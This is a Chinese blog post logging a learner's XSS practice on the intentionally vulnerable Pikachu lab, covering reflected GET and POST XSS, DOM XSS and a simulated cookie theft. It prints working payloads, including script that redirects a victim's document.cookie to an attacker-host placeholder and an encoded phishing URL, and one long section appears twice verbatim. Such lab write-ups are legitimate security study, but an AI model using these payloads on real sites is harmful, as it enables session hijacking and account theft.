XSS学习记录之pikachu练习

在学习和了解后,感觉还是要上手练习,就在网上找到了一个比较详细的漏洞平台进行练习:pikachu,期间也是经过了大大小小的问题,最后成功安装下来,菜鸟的学习之路开始。
在这里现附下载和安装问题:
[pikachu下载地址]https://github.com/zhuifengshaonianhanlu/pikachu
这里引用一下pikachu官方的话:

Pikachu使用世界上最好的语言PHP进行开发-_-,数据库使用的是mysql,因此运行Pikachu你需要提前安装好"PHP+MYSQL+中间件(如apache,nginx等)"的基础环境,建议在你的测试环境直接使用 一些集成软件来搭建这些基础环境,比如XAMPP,WAMP等,作为一个搞安全的人,这些东西对你来说应该不是什么难事。
Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意

我本地用的是phpstudy,所以方便了很多,接下来:
-->把下载下来的pikachu文件夹放到web服务器根目录下;
我这里就是phpstudy的WWW目录下

-->根据实际情况修改inc/config.inc.php里面的数据库连接配置;如下:

-->访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。


这样,pikachu平台就搭建好了
管理工具里面提供了一个简易的xss管理后台,供你测试钓鱼和捞cookie~(在XSS练习的时候比较重要)
这里面很多类型都不知道是啥哎-- --

安装好就开始啦

反射型XSS(get)

打开后只有一个搜索框,如图:

试试随便提交点东西吧,输入333,发现没有被处理的输出了
然后现在我们试试输入js代码,payload:<script>alert("1")</script>看一下结果,但是可见前端对输入长度做了限制:
所以只好打开 开发者工具 修改下他的限制长度

改的差不多大就行,然后JS代码就成功的执行了

还有,这是一个GET型的XSS漏洞,所以也可将带有XSS的URL伪装后发送给目标即可
payload:http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(%221%22)%3C/script%3E&submit=submit
如果是POST型的XSS,无法直接使用URL的方式进行攻击

反射型XSS(post)+获取cookie

上来呢是让填写用户名和密码

啥也不知道呀,只好点一下右上角的提示,然后可得到用户名和密码:admin/123456,登陆后页面:
输入框随便输入还是会被输出,<p class="notice">who is 123,i don't care!</p>并且URL无变化,所以是post传参
尝试闭合,构造Payload:</p><script>alert(1)</script>成功
或者在输入框输入:<script>alert(document.cookie)</script>可获取cookie

实验案例:模拟获取cookie

我们怎么获得其他的用户的信息?

GET型

我们需要搭建一个收集Cookie的后台,但是这里呢,Pikachu已经为我们准备好了,只需要在左侧[管理工具]栏进入XSS后台,初始化数据库,然后登陆

里面由三个模块:
首先我们需要将XSS后台下的pkxss/xcookie/ cookie.php文件这里的IP地址改为漏洞服务器的地址,由于这边是本地搭建的, 所以地址就是本地,如下:
cookie.php用于接收受害者的cookie,然后将页面 '重定向' 到漏洞服务器的index页面【访问伪造的站点后后, 自动重定向 为‘首页’, 是为了不让用户察觉被攻击的事实, 如果重定向其他地址, 用户就可能会知道被攻击了】我们构造的Payload如下:<script>document.location = 'http://攻击者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
用户提交后就可收到cookie了
由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie(可能不会太容易,哈哈):http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻击者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
现在看一下xss后台, 是成功收集到了cookie的

POST型

由于我们不能直接把我们的恶意代码嵌入到URL中,所以攻击思路如下:


我们需要自己搭一个恶意站点,然后在网站上放一个post表单 ,将存放POST表单的链接发送给受害者,诱导受害者点击,这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。(post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://攻击者/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie)
这个表单位置在XSS后台下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服务器地址和攻击者服务器地址,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,如下:

然后我们需另外打开一个浏览器来模拟用户,先访问我们已知的存在POST型XSS漏洞的网站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一个账号test/abc123登陆,然后在用户浏览器中访问伪造的post.html站点(必须是在登陆状态下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就会响应我们在文件里修改的操作而到首页


进入XSS后台,就可看到窃取到的Cookie了:

这个操作包括下一个钓鱼的操作不知道为什么我在火狐浏览器进行了很多次,XSS后台都收不到信息,谷歌是有时候可以,在无解的时候换了IE浏览器试了一次就可以了,这里有点疑惑为什么,毕竟浪费了很多时间呀 -_-

反射型XSS(post)+获取cookie

上来呢是让填写用户名和密码

啥也不知道呀,只好点一下右上角的提示,然后可得到用户名和密码:admin/123456,登陆后页面:
输入框随便输入还是会被输出,<p class="notice">who is 123,i don't care!</p>并且URL无变化,所以是post传参
尝试闭合,构造Payload:</p><script>alert(1)</script>成功
或者在输入框输入:<script>alert(document.cookie)</script>可获取cookie

实验案例:模拟获取cookie

我们怎么获得其他的用户的信息?

GET型

我们需要搭建一个收集Cookie的后台,但是这里呢,Pikachu已经为我们准备好了,只需要在左侧[管理工具]栏进入XSS后台,初始化数据库,然后登陆

里面由三个模块:
首先我们需要将XSS后台下的pkxss/xcookie/ cookie.php文件这里的IP地址改为漏洞服务器的地址,由于这边是本地搭建的, 所以地址就是本地,如下:
cookie.php用于接收受害者的cookie,然后将页面 '重定向' 到漏洞服务器的index页面【访问伪造的站点后后, 自动重定向 为‘首页’, 是为了不让用户察觉被攻击的事实, 如果重定向其他地址, 用户就可能会知道被攻击了】我们构造的Payload如下:<script>document.location = 'http://攻击者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
用户提交后就可收到cookie了
由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie(可能不会太容易,哈哈):http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻击者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
现在看一下xss后台, 是成功收集到了cookie的

POST型

由于我们不能直接把我们的恶意代码嵌入到URL中,所以攻击思路如下:


我们需要自己搭一个恶意站点,然后在网站上放一个post表单 ,将存放POST表单的链接发送给受害者,诱导受害者点击,这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。(post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://攻击者/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie)
这个表单位置在XSS后台下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服务器地址和攻击者服务器地址,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,如下:

然后我们需另外打开一个浏览器来模拟用户,先访问我们已知的存在POST型XSS漏洞的网站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一个账号test/abc123登陆,然后在用户浏览器中访问伪造的post.html站点(必须是在登陆状态下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就会响应我们在文件里修改的操作而到首页


进入XSS后台,就可看到窃取到的Cookie了:

这个操作包括下一个钓鱼的操作不知道为什么我在火狐浏览器进行了很多次,XSS后台都收不到信息,谷歌是有时候可以,在无解的时候换了IE浏览器试了一次就可以了,这里有点疑惑为什么,毕竟浪费了很多时间呀 -_-

DOM型XSS

进入这一关,pikachu也算贴心-_-,提示我们:先学习DOM
嗯,了解过后,回到pikachu开始测试,先输入如图:

可以发现输出的不一样了,还有一个超连接
查看源码:
这段代码的作用就是点击write按钮后在当前页面插入一个链接
而这段JS代码,domxss函数通过 getElementById 获取到了标签 Id 为' text'的内容赋值给str,然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为' dom'的 div 标签中显示到页面,总的来说就是修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM based XSS
对比没输入信息的源码
输入的值是被单引号闭合起来再传入标签中的,从源码' "+str+" '也可看出
所以我们可以通过闭合的方式构造Payload,(构造的Payload貌似源码给了·······)
(1)' onclick=alert(/xss/) //(点击超链接有弹窗)
输入后,页面代码就成了

<a href=" onlick=alert(/xss/) //' >
what do you see?
</a>

即首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符//注释掉第二个单引号。 这里为什么需要onclick,是通过on事件触发?

(2)除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:
'><img src="#" onmouseover="alert('xss')">(点击click me就会有弹窗),页面代码如下:

<a href>
<img src="#" onmouseover="alert('xss')"
" '>what do you see? "
</a>

造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的。

还有一种方法:
利用JavaScript伪协议
在留言框里输入:javascript:alert("You are attacked !!")然后点击那个超链接(是js代码)

DOM型XSS-X

先随便输入点东西:aaa吧,细心点发现URL发生了变化
多了一个text参数:

然后点击蹦出来的超链接,一句很很治愈?的话,结果神奇的又蹦出来一句
不仅如此,URL也变化了参数未变,多了个#的符号
查看源码:
大概是:这里也有个JS代码,它定义的domxss函数,利用window.location.search 获取浏览器中URL的内容,然后赋值给 str,然后经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)
然而, 注入的payload还是很上一个一样的

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。